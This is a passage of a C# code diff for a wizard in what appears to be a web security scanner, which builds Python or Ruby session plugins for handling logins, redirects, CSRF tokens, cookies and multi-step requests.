this.RequestNamesFromUserList.Clear(); + //ShowQuestion(Questions[HandleLogin__BaseStep], true); + ShowSelectOptionQuestion(Questions[HandleLogin__BaseStep], QuestionOptions[HandleLogin__BaseStep], ""); + break; + case ("4"): + CurrentSection = HandleRedirect; + CurrentStep = HandleRedirect__BaseStep; + this.RequestNamesFromUserList.Clear(); + //ShowQuestion(Questions[HandleRedirect__BaseStep], true); + ShowSelectOptionQuestion(Questions[HandleRedirect__BaseStep], QuestionOptions[HandleRedirect__BaseStep], ""); + break; + case ("5"): + CurrentSection = HandleMultiStep; + CurrentStep = HandleMultiStep__BaseStep; + this.RequestNamesFromUserList.Clear(); + //ShowQuestion(Questions[HandleMultiStep__BaseStep], true); + ShowSelectOptionQuestion(Questions[HandleMultiStep__BaseStep], QuestionOptions[HandleMultiStep__BaseStep], ""); + break; + //case ("6"): + // CurrentSection = HandleEncodedParameters; + // break; + default: + ShowError("Invalid option, try again"); + break; + } + } + + void ProcessHandleRedirectAnswer() + { + string Answer = ""; + switch(CurrentStep) + { + case(HandleRedirect__BaseStep): + Answer = AnswerTB.Text.Trim(); + switch (Answer) + { + case("1"): + CurrentStep = HandleRedirect__ResponseSignatureStep; + ShowResponseSignatureQuestion(Questions[HandleRedirect__ResponseSignatureStep], false); + break; + case ("2"): + GoToHomeMenu(); + break; + case ("3"): + CurrentStep = HandleRedirect__EnterPseudoCodeStep; + ShowQuestion(Questions[HandleRedirect__EnterPseudoCodeStep], true); + break; + default: + ShowError("Invalid option, try again"); + break; + } + break; + case(HandleRedirect__ResponseSignatureStep): + try + { + FollowRedirectPseudoCode = RedirectSignatureToPseudoCode(); + string[] Code = FollowRediretPseudoCodeToCode(); + CurrentStep = HandleRedirect__ShowPseudoCodeStep; + //ShowQuestion(string.Format(Questions[HandleRedirect__ShowPseudoCodeStep], FollowRedirectPseudoCode), true); + //ShowSelectOptionQuestion(string.Format(Questions[HandleRedirect__ShowPseudoCodeStep], FollowRedirectPseudoCode), new List() { }, "Go to Home Menu"); + ShowPseudoCode(Questions[HandleRedirect__ShowPseudoCodeStep], FollowRedirectPseudoCode); + } + catch { ShowError("Invalid input, try again"); } + break; + case (HandleRedirect__EnterPseudoCodeStep): + Answer = AnswerTB.Text.Trim(); + FollowRedirectPseudoCode = Answer; + GoToHomeMenu(); + break; + case(HandleRedirect__ShowPseudoCodeStep): + GoToHomeMenu(); + break; + } + } + + void ProcessHandleCSRFTokensAnswer() + { + string Answer = AnswerTB.Text.Trim(); + switch(CurrentStep) + { + case(HandleCSRFTokens__BaseStep): + switch (Answer) + { + case("1"): + UpdateCSRFTokensPseudoCode = ""; + CurrentStep = HandleCSRFTokens__ParameterSourceStep; + //ShowQuestion(Questions[HandleCSRFTokens__ParameterSourceStep], true); + ShowSelectOptionQuestion(Questions[HandleCSRFTokens__ParameterSourceStep], QuestionOptions[HandleCSRFTokens__ParameterSourceStep], ""); + break; + case ("2"): + GoToHomeMenu(); + break; + case ("3"): + CurrentStep = HandleCSRFTokens__PseudoCodeStep; + ShowQuestion(Questions[HandleCSRFTokens__PseudoCodeStep], false); + break; + default: + ShowError("Invalid option selected, try again."); + break; + } + break; + case(HandleCSRFTokens__ParameterSourceStep): + switch (Answer) + { + case("1"): + CurrentStep = HandleCSRFTokens__RequestToSendForResponseStep; + ShowRequestSourceQuestion(Questions[HandleCSRFTokens__RequestToSendForResponseStep], ""); + break; + case ("2"): + CurrentStep = HandleCSRFTokens__ParametersStep; + //ShowParameterUpdateQuestion(Questions[HandleCSRFTokens__ParametersStep], true); + ShowParameterUpdateQuestion(string.Format(Questions[HandleCSRFTokens__ParametersAskUserOnlyStep], "Main Request"), true); + break; + default: + ShowError("Invalid option selected, try again."); + break; + } + break; + case(HandleCSRFTokens__RequestToSendForResponseStep): + try + { + UpdateCSRFTokensPseudoCode = RequestSourceToPseudoCode(); + StringBuilder SB = new StringBuilder(UpdateCSRFTokensPseudoCode); + SB.AppendLine("SendRequest"); + SB.AppendLine("GetRequest ToInject"); + UpdateCSRFTokensPseudoCode = SB.ToString(); + CurrentStep = HandleCSRFTokens__ParametersStep; + if(this.RequestNamesFromUserList.Count > 0) + ShowParameterUpdateQuestion(string.Format(Questions[HandleCSRFTokens__ParametersStep], "Main Request", this.RequestNamesFromUserList[this.RequestNamesFromUserList.Count - 1]), false); + else + ShowParameterUpdateQuestion(string.Format(Questions[HandleCSRFTokens__ParametersStep], "Main Request", "previous unnamed request"), false); + } + catch { ShowError("Invalid answer, try again."); } + break; + case(HandleCSRFTokens__ParametersStep): + StringBuilder PC = new StringBuilder(UpdateCSRFTokensPseudoCode); + PC.Append(ParametersAnswerToPseudoCode()); + UpdateCSRFTokensPseudoCode = PC.ToString(); + CurrentStep = HandleCSRFTokens__ShowPseudoCodeStep; + //ShowQuestion(string.Format(Questions[HandleCSRFTokens__ShowPseudoCodeStep], UpdateCSRFTokensPseudoCode), true); + //ShowSelectOptionQuestion(string.Format(Questions[HandleCSRFTokens__ShowPseudoCodeStep], UpdateCSRFTokensPseudoCode), new List() { }, "Go to Home Menu"); + ShowPseudoCode(Questions[HandleCSRFTokens__ShowPseudoCodeStep], UpdateCSRFTokensPseudoCode); + break; + case (HandleCSRFTokens__PseudoCodeStep): + Answer = BigAnswerTB.Text.Trim(); + UpdateCSRFTokensPseudoCode = Answer; + GoToHomeMenu(); + break; + case(HandleCSRFTokens__ShowPseudoCodeStep): + GoToHomeMenu(); + break; + } + } + + //void ProcessHandleEncodedParametersAnswer() + //{ + + //} + + void ProcessHandleLoginAnswer() + { + string Answer = AnswerTB.Text.Trim(); + switch (CurrentStep) + { + case (HandleLogin__BaseStep): + switch (Answer) + { + case ("1"): + CurrentStep = HandleLogin__LoggedinCheckRequestSourceStep; + ShowRequestSourceQuestion(Questions[HandleLogin__LoggedinCheckRequestSourceStep], "Login Check"); + break; + case ("2"): + GoToHomeMenu(); + break; + case ("3"): + CurrentStep = HandleLogin__PseudoCodeStep; + ShowQuestion(Questions[HandleLogin__PseudoCodeStep], false); + break; + default: + ShowError("Invalid option entered"); + break; + } + break; + case (HandleLogin__PseudoCodeStep): + LoginActionPseudoCode = BigAnswerTB.Text.Trim(); + GoToHomeMenu(); + break; + case (HandleLogin__LoggedinCheckRequestSourceStep): + try + { + LoginActionPseudoCode = RequestSourceToPseudoCode(); + StringBuilder SB = new StringBuilder(); + SB.Append(LoginActionPseudoCode); + SB.AppendLine("SendRequest"); + LoginActionPseudoCode = SB.ToString(); + CurrentStep = HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep; + ShowResponseSignatureQuestion(Questions[HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep], true); + } + catch { ShowError("Invalid Input, try again."); } + break; + case (HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep): + try + { + string LoginLoggedSignaturePseudoCode = ResponseSignatureToPseudoCode(); + StringBuilder SB = new StringBuilder(); + SB.Append(LoginActionPseudoCode); + SB.Append(LoginLoggedSignaturePseudoCode); + LoginActionPseudoCode = SB.ToString(); + CurrentStep = HandleLogin__LoginRequestSourceStep; + ShowRequestSourceQuestion(Questions[HandleLogin__LoginRequestSourceStep], "Login"); + } + catch { ShowError("Invalid Input, try again."); } + break; + case (HandleLogin__LoginRequestSourceStep): + try + { + LoginRequestSourcePseudoCode = RequestSourceToPseudoCode(); + CurrentStep = HandleLogin__ShouldUpdateLoginRequestStep; + //ShowQuestion(Questions[HandleLogin__ShouldUpdateLoginRequestStep], true); + ShowSelectOptionQuestion(Questions[HandleLogin__ShouldUpdateLoginRequestStep], QuestionOptions[HandleLogin__ShouldUpdateLoginRequestStep], ""); + } + catch { ShowError("Invalid Input, try again."); } + break; + case (HandleLogin__ShouldUpdateLoginRequestStep): + try + { + Answer = AnswerTB.Text.Trim(); + switch (Answer) + { + case("1"): + CurrentStep = HandleLogin__IsPreLoginRequestNeededStep; + //ShowQuestion(Questions[HandleLogin__IsPreLoginRequestNeededStep], true); + ShowSelectOptionQuestion(Questions[HandleLogin__IsPreLoginRequestNeededStep], QuestionOptions[HandleLogin__IsPreLoginRequestNeededStep], ""); + break; + case ("2"): + StringBuilder SB = new StringBuilder(); + SB.Append(LoginActionPseudoCode); + SB.Append(LoginRequestSourcePseudoCode); + LoginActionPseudoCode = SB.ToString(); + CurrentStep = HandleLogin__ToInjectRequestParametersStep; + ShowParameterUpdateQuestion(Questions[HandleLogin__ToInjectRequestParametersStep], false); + break; + default: + throw new Exception("Invalid Input, try again."); + } + } + catch { ShowError("Invalid Input, try again."); } + break; + case (HandleLogin__IsPreLoginRequestNeededStep): + try + { + Answer = AnswerTB.Text.Trim(); + switch (Answer) + { + case("1"): + CurrentStep = HandleLogin__PreLoginRequestSourceStep; + ShowRequestSourceQuestion(Questions[HandleLogin__PreLoginRequestSourceStep], "Pre Login"); + break; + case ("2"): + StringBuilder SB = new StringBuilder(); + SB.Append(LoginActionPseudoCode); + SB.Append(LoginRequestSourcePseudoCode); + LoginActionPseudoCode = SB.ToString(); + CurrentStep = HandleLogin__LoginRequestParametersStep; + ShowParameterUpdateQuestion(Questions[HandleLogin__LoginRequestParametersStep], true); + break; + default: + throw new Exception("Invalid Input, try again."); + } + } + catch { ShowError("Invalid Input, try again."); } + break; + case (HandleLogin__PreLoginRequestSourceStep): + try + { + string PreLoginRequestPseudoCode = RequestSourceToPseudoCode(); + StringBuilder SB = new StringBuilder(); + SB.Append(LoginActionPseudoCode); + SB.Append(PreLoginRequestPseudoCode); + SB.AppendLine("SendRequest"); + SB.Append(LoginRequestSourcePseudoCode); + LoginActionPseudoCode = SB.ToString(); + CurrentStep = HandleLogin__LoginRequestParametersStep; + ShowParameterUpdateQuestion(Questions[HandleLogin__LoginRequestParametersStep], false); + } + catch { ShowError("Invalid Input, try again."); } + break; + case (HandleLogin__LoginRequestParametersStep): + try + { + string LoginRequestParametersUpdatePseudoCode = ParametersAnswerToPseudoCode(); + StringBuilder SB = new StringBuilder(); + SB.Append(LoginActionPseudoCode); + SB.Append(LoginRequestParametersUpdatePseudoCode); + LoginActionPseudoCode = SB.ToString(); + CurrentStep = HandleLogin__ToInjectRequestParametersStep; + ShowParameterUpdateQuestion(Questions[HandleLogin__ToInjectRequestParametersStep], false); + } + catch{ShowError("Invalid Input, try again.");} + break; + case (HandleLogin__ToInjectRequestParametersStep): + try + { + string PostLoginParametersUpdatePseudoCode = ParametersAnswerToPseudoCode(); + StringBuilder SB = new StringBuilder(); + SB.Append(LoginActionPseudoCode); + SB.AppendLine("SendRequest"); + SB.AppendLine("GetRequest ToInject"); + SB.Append(PostLoginParametersUpdatePseudoCode); + LoginActionPseudoCode = SB.ToString(); + string[] Code = LoginActionPseudoCodeToCode(); + CurrentStep = HandleLogin__ShowPseudoCodeStep; + //ShowQuestion(string.Format(Questions[HandleLogin__ShowPseudoCodeStep], LoginActionPseudoCode), true); + //ShowSelectOptionQuestion(string.Format(Questions[HandleLogin__ShowPseudoCodeStep], LoginActionPseudoCode), new List() { }, "Go to Home Menu"); + ShowPseudoCode(Questions[HandleLogin__ShowPseudoCodeStep], LoginActionPseudoCode); + } + catch { ShowError("Invalid Input, try again."); } + break; + case(HandleLogin__ShowPseudoCodeStep): + GoToHomeMenu(); + break; + } + } + + void ProcessHandleMultiStepAnswer() + { + string Answer = AnswerTB.Text.Trim(); + switch(CurrentStep) + { + case (HandleMultiStep__BaseStep): + switch (Answer) + { + case("1"): + CurrentStep = HandleMultiStep__BeforeAfterInjectionSelectionStep; + //ShowQuestion(Questions[HandleMultiStep__BeforeAfterInjectionSelectionStep], true); + ShowSelectOptionQuestion(Questions[HandleMultiStep__BeforeAfterInjectionSelectionStep], QuestionOptions[HandleMultiStep__BeforeAfterInjectionSelectionStep], ""); + break; + case ("2"): + GoToHomeMenu(); + break; + case ("3"): + CurrentStep = HandleMultiStep__PseudoCodeStep; + ShowQuestion(Questions[HandleCSRFTokens__PseudoCodeStep], false); + break; + default: + ShowError("Invaid option entered, try again."); + break; + } + break; + case (HandleMultiStep__PseudoCodeStep): + MultiStepActionPseudoCode = BigAnswerTB.Text.Trim(); + MultiStepActionPseudoCodeToCode(); + GoToHomeMenu(); + break; + case (HandleMultiStep__BeforeAfterInjectionSelectionStep): + Answer = AnswerTB.Text.Trim(); + switch(Answer) + { + case("1"): + PreInjectionStepsPresent = true; + PostInjectionStepsPresent = false; + break; + case("2"): + PreInjectionStepsPresent = false; + PostInjectionStepsPresent = true; + break; + case("3"): + PreInjectionStepsPresent = true; + PostInjectionStepsPresent = true; + break; + default: + ShowError("Invaid option entered, try again."); + break; + } + MultiStepActionPseudoCode = ""; + PreInjectionCounter = 0; + PreInjectionCounterMax = 0; + PostInjectionCounter = 0; + if (PreInjectionStepsPresent) + ShowPreInjectionRequestSourceQuestion(); + else if (PostInjectionStepsPresent) + ShowPostInjectionRequestSourceQuestion(); + break; + case (HandleMultiStep__PreInjectionRequestSourceStep): + try + { + string PC = RequestSourceToPseudoCode(); + StringBuilder SB = new StringBuilder(); + SB.Append(MultiStepActionPseudoCode); + SB.Append(PC); + MultiStepActionPseudoCode = SB.ToString(); + if (PreInjectionCounter == 1) + { + SB = new StringBuilder(); + SB.Append(MultiStepActionPseudoCode); + SB.AppendLine("SendRequest"); + MultiStepActionPseudoCode = SB.ToString(); + CurrentStep = HandleMultiStep__MorePreInjectionRequestStep; + //ShowQuestion(Questions[HandleMultiStep__MorePreInjectionRequestStep], true); + ShowSelectOptionQuestion(Questions[HandleMultiStep__MorePreInjectionRequestStep], QuestionOptions[HandleMultiStep__MorePreInjectionRequestStep], ""); + } + else + { + ShowPreInjectionParametersUpdateQuestions(); + } + } + catch { ShowError("Invalid option, try again."); } + break; + case (HandleMultiStep__PreInjectionRequestParametersStep): + try + { + string PC = ParametersAnswerToPseudoCode(); + StringBuilder SB = new StringBuilder(); + SB.Append(MultiStepActionPseudoCode); + if (PreInjectionCounterMax == PreInjectionCounter) + { + SB.AppendLine("GetRequest ToInject"); + } + SB.Append(PC); + if (PreInjectionCounterMax < PreInjectionCounter) + { + SB.AppendLine("SendRequest"); + } + MultiStepActionPseudoCode = SB.ToString(); + if (PreInjectionCounterMax == PreInjectionCounter) + { + if (PostInjectionStepsPresent) + { + ShowPostInjectionRequestSourceQuestion(); + } + else + { + CurrentStep = HandleMultiStep__ShowPseudoCodeStep; + //ShowQuestion(string.Format(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode), true); + //ShowSelectOptionQuestion(string.Format(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode), new List() { }, "Go to Home Menu"); + ShowPseudoCode(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode); + } + } + else + { + CurrentStep = HandleMultiStep__MorePreInjectionRequestStep; + //ShowQuestion(Questions[HandleMultiStep__MorePreInjectionRequestStep], true); + ShowSelectOptionQuestion(Questions[HandleMultiStep__MorePreInjectionRequestStep], QuestionOptions[HandleMultiStep__MorePreInjectionRequestStep], ""); + } + } + catch { ShowError("Invalid option, try again."); } + break; + case (HandleMultiStep__MorePreInjectionRequestStep): + try + { + Answer = AnswerTB.Text.Trim(); + switch (Answer) + { + case("1"): + ShowPreInjectionRequestSourceQuestion(); + break; + case("2"): + PreInjectionCounterMax = PreInjectionCounter; + ShowPreInjectionParametersUpdateQuestions(); + break; + } + } + catch { ShowError("Invalid option, try again"); } + break; + case (HandleMultiStep__ToInjectRequestParametersStep): + break; + case (HandleMultiStep__PostInjectionRequestSourceStep): + try + { + string PC = RequestSourceToPseudoCode(); + StringBuilder SB = new StringBuilder(); + SB.Append(MultiStepActionPseudoCode); + SB.Append(PC); + MultiStepActionPseudoCode = SB.ToString(); + ShowPostInjectionParametersUpdateQuestions(); + } + catch { ShowError("Invalid option, try again."); } + break; + case (HandleMultiStep__PostInjectionRequestParametersStep): + try + { + string PC = ParametersAnswerToPseudoCode(); + StringBuilder SB = new StringBuilder(); + SB.Append(MultiStepActionPseudoCode); + SB.Append(PC); + SB.AppendLine("SendRequest"); + MultiStepActionPseudoCode = SB.ToString(); + CurrentStep = HandleMultiStep__MorePostInjectionRequestStep; + //ShowQuestion(Questions[HandleMultiStep__MorePostInjectionRequestStep], true); + ShowSelectOptionQuestion(Questions[HandleMultiStep__MorePostInjectionRequestStep], QuestionOptions[HandleMultiStep__MorePostInjectionRequestStep], ""); + } + catch { ShowError("Invalid option, try again."); } + break; + case (HandleMultiStep__MorePostInjectionRequestStep): + try + { + Answer = AnswerTB.Text.Trim(); + switch (Answer) + { + case ("1"): + ShowPostInjectionRequestSourceQuestion(); + break; + case ("2"): + CurrentStep = HandleMultiStep__ShowPseudoCodeStep; + //ShowQuestion(string.Format(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode), true); + //ShowSelectOptionQuestion(string.Format(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode), new List() { }, "Go to Home Menu"); + ShowPseudoCode(Questions[HandleMultiStep__ShowPseudoCodeStep], MultiStepActionPseudoCode); + break; + } + } + catch { ShowError("Invalid option, try again"); } + break; + case (HandleMultiStep__ShowPseudoCodeStep): + GoToHomeMenu(); + break; + } + } + + void ProcessHandleSetCookiesAnswer() + { + string Answer = ""; + switch (CurrentStep) + { + case (HandleSetCookies__BaseStep): + Answer = AnswerTB.Text.Trim(); + switch (Answer) + { + case("1"): + CurrentStep = HandleSetCookies__ParameterNames; + ShowQuestion(Questions[HandleSetCookies__ParameterNames], false); + break; + case ("2"): + GoToHomeMenu(); + break; + default: + ShowError("Invalid option, try again"); + break; + } + break; + case (HandleSetCookies__ParameterNames): + Answer = BigAnswerTB.Text.Trim(); + try + { + string[] ParameterNames = Answer.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + foreach (string _PN in ParameterNames) + { + string PN = _PN.Trim(); + if (PN.Length > 0) NamesOfCookieParametersToUpdate.Add(PN); + } + } + catch { } + GoToHomeMenu(); + break; + } + } + + void ProcessPluginCreationAnswer() + { + string Answer = AnswerTB.Text.Trim(); + switch (CurrentStep) + { + case (PluginCreation__PluginNameStep): + if(!Regex.IsMatch(Answer, "^[a-zA-Z]+$")) + { + ShowError("Plugin Name should only contain alphabets (a-z)"); + return; + } + if (!Answer[0].ToString().ToUpper().Equals(Answer[0].ToString())) + { + ShowError("Plugin Name should begin with an upper case letter"); + return; + } + if (SessionPlugin.List().Contains(Answer)) + { + ShowError("A Session Plugin with this name already exists. Please select a different name."); + return; + } + PluginName = Answer; + CurrentStep = PluginCreation__LanguageStep; + ShowSelectOptionQuestion(Questions[PluginCreation__LanguageStep], QuestionOptions[PluginCreation__LanguageStep], ""); + //ShowQuestion(Questions[PluginCreation__LanguageStep], true); + break; + case (PluginCreation__LanguageStep): + switch(Answer) + { + case("1"): + PluginLang = "py"; + break; + case ("2"): + PluginLang = "rb"; + break; + default: + ShowError("Invalid option, try again."); + return; + } + try + { + string[] Code = PseudoCodeToPlugin(); + string PluginCode = ""; + if (PluginLang.Equals("py")) + PluginCode = Code[0]; + else + PluginCode = Code[1]; + bool PluginCreated = false; + + int Counter = 0; + string FFN = ""; + while (!PluginCreated) + { + string FN = ""; + if (Counter == 0) + FN = string.Format("{0}.{1}", PluginName, PluginLang); + else + FN = string.Format("{0}_{1}.{2}", PluginName, Counter, PluginLang); + FFN = string.Format("{0}\\Plugins\\Session\\{1}", Config.Path, FN); + Counter++; + if (!File.Exists(FFN)) + { + try + { + File.WriteAllText(FFN, PluginCode); + PluginCreated = true; + PluginEngine.LoadNewSessionPlugins(); + } + catch (Exception Exp) { ShowError(string.Format("Unable to create plugin file - {0}", Exp.Message)); } + } + } + CurrentStep = PluginCreation__FinalStep; + ShowSelectOptionQuestion(string.Format(Questions[PluginCreation__FinalStep], FFN), new List(), "Close this Assistant"); + } + catch (Exception Exp) { ShowError(string.Format("Error creating plugin - {0}", Exp.Message));} + break; + case (PluginCreation__FinalStep): + this.Close(); + break; + } + } + #endregion + + + #region misc + void GoToHomeMenu() + { + CurrentSection = HomeMenu; + CurrentStep = HomeMenu__BaseStep; + ShowSelectOptionQuestion(Questions[HomeMenu__BaseStep], QuestionOptions[HomeMenu__BaseStep], "Create a Session Plugin based on the answers provided"); + //ShowQuestion(Questions[HomeMenu__BaseStep], true); + } + + string GetLogSourcesList() + { + if (LogSources.Keys.Count == 0) + { + LogSources.Add(1, "Proxy"); + LogSources.Add(2, "Probe"); + LogSources.Add(3, "Test"); + LogSources.Add(4, "Shell"); + LogSources.Add(5, "Scan"); + List Sources = Config.GetOtherSourceList(); + for (int i = 0; i < Sources.Count; i++) + { + LogSources.Add(i + 6, Sources[i]); + } + } + StringBuilder SB = new StringBuilder(); + foreach (int Index in LogSources.Keys) + { + SB.AppendLine(string.Format("{0}) {1} Log", Index, LogSources[Index])); + } + return SB.ToString(); + } + + void ResetParameterAnswerFields(bool ClearGridRows) + { + ParameterTypeCombo.SelectedIndex = 1; + ParameterNameTB.Text = ""; + ParameterSourceFromResponseRB.Checked = false; + ParameterSourceFromUserRB.Checked = false; + ParseParameterFromHtmlRB.Checked = false; + ParseParameterFromRegexRB.Checked = false; + ParameterParseRegexTB.Text = ""; + ParameterSourceFromUserRB.Checked = false; + ParameterAskUserHintTB.Text = ""; + HowToParseResponsePanel.Visible = false; + HowToUpdateParameterPanel.Visible = false; + UserHintPanel.Visible = false; + AddParameterAnswerEntryLL.Visible = false; + EditParameterAnswerEntryLL.Enabled = false; + DeleteParameterAnswerEntryLL.Enabled = false; + EditParameterAnswerEntryLL.Visible = false; + DeleteParameterAnswerEntryLL.Visible = false; + if (ClearGridRows) + ParametersAnswerGrid.Rows.Clear(); + } + + string GetNumberWithSuffix(int Num) + { + if(Num > 10 && Num < 20) + { + return string.Format("{0}th", Num); + } + else + { + string NumStr = Num.ToString(); + switch(NumStr[NumStr.Length - 1]) + { + case('1'): + return string.Format("{0}st", Num); + case ('2'): + return string.Format("{0}nd", Num); + case ('3'): + return string.Format("{0}rd", Num); + default: + return string.Format("{0}th", Num); + } + } + } + #endregion + + #region CreatePseudoCode + string RequestSourceToPseudoCode() + { + string LogSource = RequestSourceCombo.Text; + string LogId = RequestSourceIdTB.Text.Trim(); + string RequestName = string.Format("{0} request", RequestSourceNameTB.Text.Trim()); + this.RequestNamesFromUserList.Add(RequestName); + int RequestId = Int32.Parse(LogId); + return string.Format("GetRequest[{0}] {1}-{2}{3}", RequestName, LogSource, RequestId, Environment.NewLine); + } + + string RedirectSignatureToPseudoCode() + { + string PartialPseudoCode = ""; + string Code = SignatureResponseCodeTB.Text; + string Location = LocationSignatureTypeSelectCombo.Text; + string Keyword = LocationSignatureKeywordTB.Text; + if (UseLocationSignatureCB.Checked) + { + PartialPseudoCode = SignatureToPartialPseudoCode(Code, Location, Keyword, "Location"); + } + else + { + PartialPseudoCode = SignatureToPartialPseudoCode(Code, "", "", ""); + } + return string.Format("FollowRedirect {0}", PartialPseudoCode); + } + + string ResponseSignatureToPseudoCode() + { + string Code = SignatureResponseCodeTB.Text; + string Location = LocationSignatureTypeSelectCombo.Text; + string Keyword = LocationSignatureKeywordTB.Text; + string PartialPseudoCode = ""; + StringBuilder SB = new StringBuilder(); + + if (LoggedInResponseSignatureRB.Checked) + SB.AppendLine("LoggedInSignatureBegins"); + else if (LoggedOutResponseSignatureRB.Checked) + SB.AppendLine("LoggedOutSignatureBegins"); + else + throw new Exception("Invalid input"); + + if (UseLocationSignatureCB.Checked) + { + PartialPseudoCode = SignatureToPartialPseudoCode(Code, Location, Keyword, "Location"); + SB.AppendLine(string.Format("LastResponse {0}", PartialPseudoCode)); + } + if (UseTitleSignatureCB.Checked) + { + Location = TitleSignatureTypeSelectCombo.Text; + Keyword = TitleSignatureKeywordTB.Text; + PartialPseudoCode = SignatureToPartialPseudoCode(Code, Location, Keyword, "Title"); + SB.AppendLine(string.Format("LastResponse {0}", PartialPseudoCode)); + } + if (UseBodySignatureCB.Checked) + { + Location = BodySignatureTypeSelectCombo.Text; + Keyword = BodySignatureKeywordTB.Text; + PartialPseudoCode = SignatureToPartialPseudoCode(Code, Location, Keyword, "Body"); + SB.AppendLine(string.Format("LastResponse {0}", PartialPseudoCode)); + } + if (!(UseLocationSignatureCB.Checked || UseTitleSignatureCB.Checked || UseBodySignatureCB.Checked)) + { + SB.AppendLine(string.Format("LastResponse Code {0}", Code)); + } + + if (LoggedInResponseSignatureRB.Checked) + SB.AppendLine("LoggedInSignatureEnds"); + else if (LoggedOutResponseSignatureRB.Checked) + SB.AppendLine("LoggedOutSignatureEnds"); + else + throw new Exception("Invalid input"); + + return SB.ToString(); + } + + string SignatureToPartialPseudoCode(string ResponseCode, string Location, string Keyword, string Section) + { + int Code = Int32.Parse(ResponseCode); + string Prefix = ""; + string PartialPseudoCode = string.Format("Code {0}", Code); + if (Location.Length == 0 && Keyword.Length == 0 && Section.Length == 0) return PartialPseudoCode; + + switch (Location) + { + case ("starts with"): + Prefix = "StartsWith"; + break; + case ("ends with"): + Prefix = "EndsWith"; + break; + case ("contains"): + Prefix = "Has"; + break; + case ("does not contain"): + Prefix = "NotHas"; + break; + case ("matches regex"): + Prefix = "Regex"; + try + { + new Regex(Keyword); + } + catch + { + throw new Exception("Invalid Regex entered"); + } + Keyword = string.Format("/{0}/", Keyword); + break; + default: + throw new Exception("Invalid Location"); + } + PartialPseudoCode = string.Format("{0} {1} {2} {3}", PartialPseudoCode, Section, Prefix, Keyword); + return PartialPseudoCode; + } + + string ParametersAnswerToPseudoCode() + { + List Answers = new List(); + foreach (DataGridViewRow Row in ParametersAnswerGrid.Rows) + { + string[] Fields = new string[6]; + Fields[0] = Row.Cells["ParameterSectionColumn"].Value.ToString(); + Fields[1] = Row.Cells["ParameterNameColumn"].Value.ToString(); + Fields[2] = Row.Cells["UpdateFromColumn"].Value.ToString(); + Fields[3] = Row.Cells["ParseResponseColumn"].Value.ToString(); + Fields[4] = Row.Cells["RegexColumn"].Value.ToString(); + Fields[5] = Row.Cells["HintColumn"].Value.ToString(); + Answers.Add(Fields); + } + + StringBuilder SB = new StringBuilder(); + foreach(string[] Answer in Answers) + { + string ParameterSection = Answer[0]; + string ParameterName = Answer[1]; + string UpdateFrom = Answer[2]; + string ParseMode = Answer[3]; + string RegexString = Answer[4]; + string Hint = Answer[5]; + SB.Append(string.Format("UpdateRequest {0} {1} From ", ParameterSection, ParameterName)); + if(UpdateFrom.Equals("Response")) + { + SB.Append("LastResponse "); + if(ParseMode.Equals("Html Fields")) + SB.Append("Html"); + else + SB.Append(string.Format("Regex /{0}/", RegexString)); + } + else + { + SB.Append(string.Format("User Hint {0}", Hint)); + } + SB.AppendLine(); + } + return SB.ToString(); + } + #endregion + + #region CreatePlugin + + int UpdateToInjectRequestMethodCounter = 0; + Dictionary UpdateToInectRequestMethodPyDeclarations = new Dictionary(); + Dictionary UpdateToInectRequestMethodRbDeclarations = new Dictionary(); + + string[] PseudoCodeToPlugin() + { + string[] Code = new string[2]; + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + + StringBuilder PyMiddle = new StringBuilder(); + StringBuilder RbMiddle = new StringBuilder(); + + string[] DoBeforeInjectionCode = PseudoCodeToDoBeforeInjectionCode(); + PyMiddle.Append(DoBeforeInjectionCode[0]); + RbMiddle.Append(DoBeforeInjectionCode[1]); + + string[] DoAfterInjectionCode = PseudoCodeToDoAfterInjectionCode(); + PyMiddle.Append(DoAfterInjectionCode[0]); + RbMiddle.Append(DoAfterInjectionCode[1]); + + if (NamesOfCookieParametersToUpdate.Count > 0) + { + string[] NamesOfCookieParametersToUpdateListCode = NamesOfCookieParametersToUpdateListToCode(); + PyMiddle.Append(NamesOfCookieParametersToUpdateListCode[0]); + RbMiddle.Append(NamesOfCookieParametersToUpdateListCode[1]); + } + if (FollowRedirectPseudoCode.Length > 0) + { + string[] FollowRediretCode = FollowRediretPseudoCodeToCode(); + PyMiddle.Append(FollowRediretCode[0]); + RbMiddle.Append(FollowRediretCode[1]); + } + if (LoginActionPseudoCode.Length > 0) + { + string[] LoginActionCode = LoginActionPseudoCodeToCode(); + PyMiddle.Append(LoginActionCode[0]); + RbMiddle.Append(LoginActionCode[1]); + } + if (MultiStepActionPseudoCode.Length > 0) + { + string[] MultiStepActionCode = MultiStepActionPseudoCodeToCode(); + PyMiddle.Append(MultiStepActionCode[0]); + RbMiddle.Append(MultiStepActionCode[1]); + } + if (UpdateCSRFTokensPseudoCode.Length > 0) + { + string[] UpdateCSRFTokensCode = UpdateCSRFTokensPseudoCodeToCode(); + PyMiddle.Append(UpdateCSRFTokensCode[0]); + RbMiddle.Append(UpdateCSRFTokensCode[1]); + } + + //Declare the update_req method + PyMiddle.AppendLine(); + PyMiddle.Append(" "); PyMiddle.AppendLine("def update_req(self, req):"); + if (UpdateToInectRequestMethodPyDeclarations.Count > 0) + { + PyMiddle.Append(" "); PyMiddle.AppendLine("if Tools.MD5(req.ToString()) != self.last_main_request_signature:"); + for (int i = 1; i <= UpdateToInectRequestMethodPyDeclarations.Count; i++) + { + PyMiddle.Append(" "); PyMiddle.AppendLine(string.Format("req = self.update_req_{0}(req)", i)); + } + } + else + { + PyMiddle.AppendLine(" #no update"); + PyMiddle.Append(" "); PyMiddle.AppendLine("return req"); + } + + RbMiddle.AppendLine(); + RbMiddle.Append(" "); RbMiddle.AppendLine("def update_req(req)"); + if (UpdateToInectRequestMethodRbDeclarations.Count > 0) + { + RbMiddle.Append(" "); RbMiddle.AppendLine("if Tools.md5(req.to_string) != @last_main_request_signature"); + for (int i = 1; i <= UpdateToInectRequestMethodRbDeclarations.Count; i++) + { + RbMiddle.Append(" "); RbMiddle.AppendLine(string.Format("req = 